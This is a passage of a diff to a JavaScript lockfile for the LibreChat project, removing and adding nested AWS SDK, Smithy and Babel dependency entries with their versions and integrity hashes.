"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.927.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.927.0", "@aws-sdk/middleware-host-header": "3.922.0", "@aws-sdk/middleware-logger": "3.922.0", "@aws-sdk/middleware-recursion-detection": "3.922.0", "@aws-sdk/middleware-user-agent": "3.927.0", "@aws-sdk/region-config-resolver": "3.925.0", "@aws-sdk/types": "3.922.0", "@aws-sdk/util-endpoints": "3.922.0", "@aws-sdk/util-user-agent-browser": "3.922.0", "@aws-sdk/util-user-agent-node": "3.927.0", "@smithy/config-resolver": "^4.4.2", "@smithy/core": "^3.17.2", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/hash-node": "^4.2.4", "@smithy/invalid-dependency": "^4.2.4", "@smithy/middleware-content-length": "^4.2.4", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-retry": "^4.4.6", "@smithy/middleware-serde": "^4.2.4", "@smithy/middleware-stack": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/node-http-handler": "^4.4.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.5", "@smithy/util-defaults-mode-node": "^4.2.8", "@smithy/util-endpoints": "^3.2.4", "@smithy/util-middleware": "^4.2.4", "@smithy/util-retry": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Oy6w7+fzIdr10DhF/HpfVLy6raZFTdiE7pxS1rvpuj2JgxzW2y6urm2sYf3eLOpMiHyuG4xUBwFiJpU9CCEvJA=="],
@@ -9287,16 +8691,10 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.922.0", "", { "dependencies": { "@aws-sdk/types": "3.922.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-HPquFgBnq/KqKRVkiuCt97PmWbKtxQ5iUNLEc6FIviqOoZTmaYG3EDsIbuFBz9C4RHJU4FKLmHL2bL3FEId6AA=="],
@@ -9339,8 +8737,6 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -9357,8 +8753,6 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
@@ -9367,85 +8761,413 @@
"@langchain/google-gauth/google-auth-library/gaxios/rimraf/glob": ["glob@10.5.0", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^3.1.2", "minimatch": "^9.0.4", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^1.11.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/credential-provider-login": ["@aws-sdk/credential-provider-login@3.972.17", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/nested-clients": "^3.996.7", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-gf2E5b7LpKb+JX2oQsRIDxdRZjBFZt2olCGlWCdb3vBERbXIPgm2t1R5mEnwd4j0UEO/Tbg5zN2KJbHXttJqwA=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.996.7", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "^3.973.18", "@aws-sdk/middleware-host-header": "^3.972.7", "@aws-sdk/middleware-logger": "^3.972.7", "@aws-sdk/middleware-recursion-detection": "^3.972.7", "@aws-sdk/middleware-user-agent": "^3.972.19", "@aws-sdk/region-config-resolver": "^3.972.7", "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-endpoints": "^3.996.4", "@aws-sdk/util-user-agent-browser": "^3.972.7", "@aws-sdk/util-user-agent-node": "^3.973.4", "@smithy/config-resolver": "^4.4.10", "@smithy/core": "^3.23.8", "@smithy/fetch-http-handler": "^5.3.13", "@smithy/hash-node": "^4.2.11", "@smithy/invalid-dependency": "^4.2.11", "@smithy/middleware-content-length": "^4.2.11", "@smithy/middleware-endpoint": "^4.4.22", "@smithy/middleware-retry": "^4.4.39", "@smithy/middleware-serde": "^4.2.12", "@smithy/middleware-stack": "^4.2.11", "@smithy/node-config-provider": "^4.3.11", "@smithy/node-http-handler": "^4.4.14", "@smithy/protocol-http": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-body-length-node": "^4.2.3", "@smithy/util-defaults-mode-browser": "^4.3.38", "@smithy/util-defaults-mode-node": "^4.2.41", "@smithy/util-endpoints": "^3.3.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-retry": "^4.2.11", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-MlGWA8uPaOs5AiTZ5JLM4uuWDm9EEAnm9cqwvqQIc6kEgel/8s1BaOWm9QgUcfc9K8qd7KkC3n43yDbeXOA2tg=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.996.7", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "^3.973.18", "@aws-sdk/middleware-host-header": "^3.972.7", "@aws-sdk/middleware-logger": "^3.972.7", "@aws-sdk/middleware-recursion-detection": "^3.972.7", "@aws-sdk/middleware-user-agent": "^3.972.19", "@aws-sdk/region-config-resolver": "^3.972.7", "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-endpoints": "^3.996.4", "@aws-sdk/util-user-agent-browser": "^3.972.7", "@aws-sdk/util-user-agent-node": "^3.973.4", "@smithy/config-resolver": "^4.4.10", "@smithy/core": "^3.23.8", "@smithy/fetch-http-handler": "^5.3.13", "@smithy/hash-node": "^4.2.11", "@smithy/invalid-dependency": "^4.2.11", "@smithy/middleware-content-length": "^4.2.11", "@smithy/middleware-endpoint": "^4.4.22", "@smithy/middleware-retry": "^4.4.39", "@smithy/middleware-serde": "^4.2.12", "@smithy/middleware-stack": "^4.2.11", "@smithy/node-config-provider": "^4.3.11", "@smithy/node-http-handler": "^4.4.14", "@smithy/protocol-http": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-body-length-node": "^4.2.3", "@smithy/util-defaults-mode-browser": "^4.3.38", "@smithy/util-defaults-mode-node": "^4.2.41", "@smithy/util-endpoints": "^3.3.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-retry": "^4.2.11", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-MlGWA8uPaOs5AiTZ5JLM4uuWDm9EEAnm9cqwvqQIc6kEgel/8s1BaOWm9QgUcfc9K8qd7KkC3n43yDbeXOA2tg=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.996.7", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "^3.973.18", "@aws-sdk/middleware-host-header": "^3.972.7", "@aws-sdk/middleware-logger": "^3.972.7", "@aws-sdk/middleware-recursion-detection": "^3.972.7", "@aws-sdk/middleware-user-agent": "^3.972.19", "@aws-sdk/region-config-resolver": "^3.972.7", "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-endpoints": "^3.996.4", "@aws-sdk/util-user-agent-browser": "^3.972.7", "@aws-sdk/util-user-agent-node": "^3.973.4", "@smithy/config-resolver": "^4.4.10", "@smithy/core": "^3.23.8", "@smithy/fetch-http-handler": "^5.3.13", "@smithy/hash-node": "^4.2.11", "@smithy/invalid-dependency": "^4.2.11", "@smithy/middleware-content-length": "^4.2.11", "@smithy/middleware-endpoint": "^4.4.22", "@smithy/middleware-retry": "^4.4.39", "@smithy/middleware-serde": "^4.2.12", "@smithy/middleware-stack": "^4.2.11", "@smithy/node-config-provider": "^4.3.11", "@smithy/node-http-handler": "^4.4.14", "@smithy/protocol-http": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-body-length-node": "^4.2.3", "@smithy/util-defaults-mode-browser": "^4.3.38", "@smithy/util-defaults-mode-node": "^4.2.41", "@smithy/util-endpoints": "^3.3.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-retry": "^4.2.11", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-MlGWA8uPaOs5AiTZ5JLM4uuWDm9EEAnm9cqwvqQIc6kEgel/8s1BaOWm9QgUcfc9K8qd7KkC3n43yDbeXOA2tg=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@aws-sdk/util-format-url/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "@smithy/util-uri-escape": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-7spdikrYiljpket6u0up2Ck2mxhy7dZ0+TDd+S53Dg2DHd6wg+YNJrTCHiLdgZmEXZKI7LJZcwL3721ZRDFiqA=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.11", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.13.0", "@smithy/util-hex-encoding": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-Sf39Ml0iVX+ba/bgMPxaXWAAFmHqYLTmbjAPfLPLY8CrYkRDEqZdUsKC1OwVMCdJXfAt0v4j49GIJ8DoSYAe6w=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.11", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.13.0", "@smithy/util-hex-encoding": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-Sf39Ml0iVX+ba/bgMPxaXWAAFmHqYLTmbjAPfLPLY8CrYkRDEqZdUsKC1OwVMCdJXfAt0v4j49GIJ8DoSYAe6w=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
